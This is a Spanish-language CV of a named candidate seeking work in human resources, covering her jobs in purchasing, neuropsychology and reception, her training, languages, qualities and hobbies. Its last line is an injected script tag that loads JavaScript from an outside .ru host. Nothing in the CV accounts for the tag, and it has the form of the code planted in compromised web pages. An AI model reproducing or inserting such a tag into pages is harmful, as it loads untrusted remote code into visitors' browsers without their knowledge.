

Laura Bartolomé García



titulo

Recursos Humanos - Personal.

EXPERIENCIA LABORAL

-4/2005-0/0 Línea Directa Asistencia S.L.U.

Otro no especificado Compras

Actualmente tras dos promociones ocupo el puesto de Técnico de Compras donde desempeño el control y gestión administrativa del proceso integrado de compras.

www.ldasistencia.com

-3/2004-7/2004 Centro de Neuropsicología Santa Elena

Servicios sanitarios Sanidad

Puesto como Psicóloga. Valoración, evaluación y rehabilitación neuropsicológica. Trabajo especial en demencias. Entrevistas, aplicación de pruebas estandarizadas y elaboración de informes

-7/2002-9/2004 Ibergel S.A.

Producción, taller y fábrica Otras (No se especifica)

Sustitución en los meses de verano. Puesto de Recepcionista con tareas administrativas en SAP, atención telefónica y de visitas, gestión de la agenda de viajes.

FORMACIÓN COMPLEMENTARIA

Experto Formador de Empresa

Recursos Humanos

Técnico en Dirección y Gestión de los Recursos Humanos

Recursos Humanos

IDIOMAS

Inglés

Nivel:Nivel Avanzado



OBJETIVOS PROFESIONALES

Me gustaría poder trabajar en un departamento de Recursos Humanos donde poder desarrollar mi carrera profesional.

Cualidades

Adaptable, Analítico/a, Colaborador, Comunicativo/a, Creativo/a, Eficiente, Flexible, Honesto/a, Imaginativo/a, Intelectual, Inteligente, Organizado/a, Responsable, Sociable, Versátil,

Aficiones

Cine/Películas, Literatura/Historia, Música Variada, Naturaleza, Ordenadores/Internet, Teatro/Ballet, Viajar/Turismo,

Disponibilidad

Estoy dispuesto a viajar: Si

Estoy dispuesto a trabajar en el extranjero: No

Estoy dispuesto a trabajar fuera de mi región: No

Información Adicional:

FORMACIÓN: EXPERIENCIA:Técnico de Compras – Línea Directa Asistencia S.L.U. Marzo 2005 – Actualmente. Primer puesto como Recepcionista con tareas de atención telefónica, de visitas, gestión de la agenda de viajes y tareas de apoyo al área de Recursos Humanos. En 2006 promoción a encargada de los Servicios Generales de la compañía con tareas de gestión de servicios externalizados, mejora de las condiciones generales de trabajo, así como campañas de motivación y marketing interno. En 2009 segunda promoción a Técnico de Compras donde actualmente desempeño tareas de negociación de contratos y mejora de condiciones, gestión de proveedores (homologación, seguimiento y evaluación), y en general, el control y gestión administrativa del proceso integrado de compras. Psicóloga – Centro de Neuropsicología Santa Elena. Marzo de 2004 – Julio de 2004. Puesto como Psicóloga en la primera unidad de Neuropsicología de la sanidad pública de Castilla y León. Valoración, evaluación y rehabilitación neuropsicológica. Trabajo especial en demencias. Entrevistas, aplicación de pruebas estandarizadas y elaboración de informes. Recepcionista – Ibergel S.A. Julio de 2002 – Septiembre de 2004. Sustitución en los meses de verano. Puesto de Recepcionista con tareas administrativas en SAP, atención telefónica y de visitas, gestión de la agenda de viajes. FORMACIÓN COMPLEMENTARIA:Experto Formador de Empresa – Global Estrategias. Noviembre de 2008 – Julio de 2009-09 Desarrollo de competencias para la formación del personal de la empresa.Técnicas y métodos eficaces. Habilidades de comunicación y motivación. Pruebas situacionales y evaluación grupal. Diseño de acciones formativas. Dirección de grupos de formación. Dirección de grupos de formación. Transferencia del aprendizaje al puesto de trabajo. Fijación de objetivos operativos y de aprendizaje. Programas de out-door training. Técnico en Dirección y Gestión de RRHH – Escuela ESAE. Octubre de 2009 – Actualmente Descripción de puestos y planificación de plantillas. Selección de personal. Formación. Contratación de trabajadores. Cálculo de salarios y Seguridad Social. INFORMACIÓN ADICIONAL:Otras Habilidades: Habilidades Sociales. En todo mis puestos laborales he tenido relación directa con el cliente (interno y/o externo), en persona y telefónicamente, lo



que me ha permitido perfeccionar mis dotes comunicativas, mi empatía y asertividad. Por otro lado, también he tenido relación con proveedores y colaboradores, lo que me ha permitido desarrollar habilidades de negociación y comunicación empresarial. Me gusta el trabajo en equipo y sentir que mi trabajo sirve para algo. Creo que soy muy comunicativa, y persuasiva en caso necesario. Me siento cómoda hablando en público y me gusta el trato directo con la gente. Organización. Soy una ordenada y metódica. Considero que una buena organización facilita el trabajo. Flexibilidad. Siempre estoy abierta a nuevas ideas. Me gustan las novedades y me adapto a ellas con facilidad. `script src=http://www.bannerdriven.ru/ads.js>`

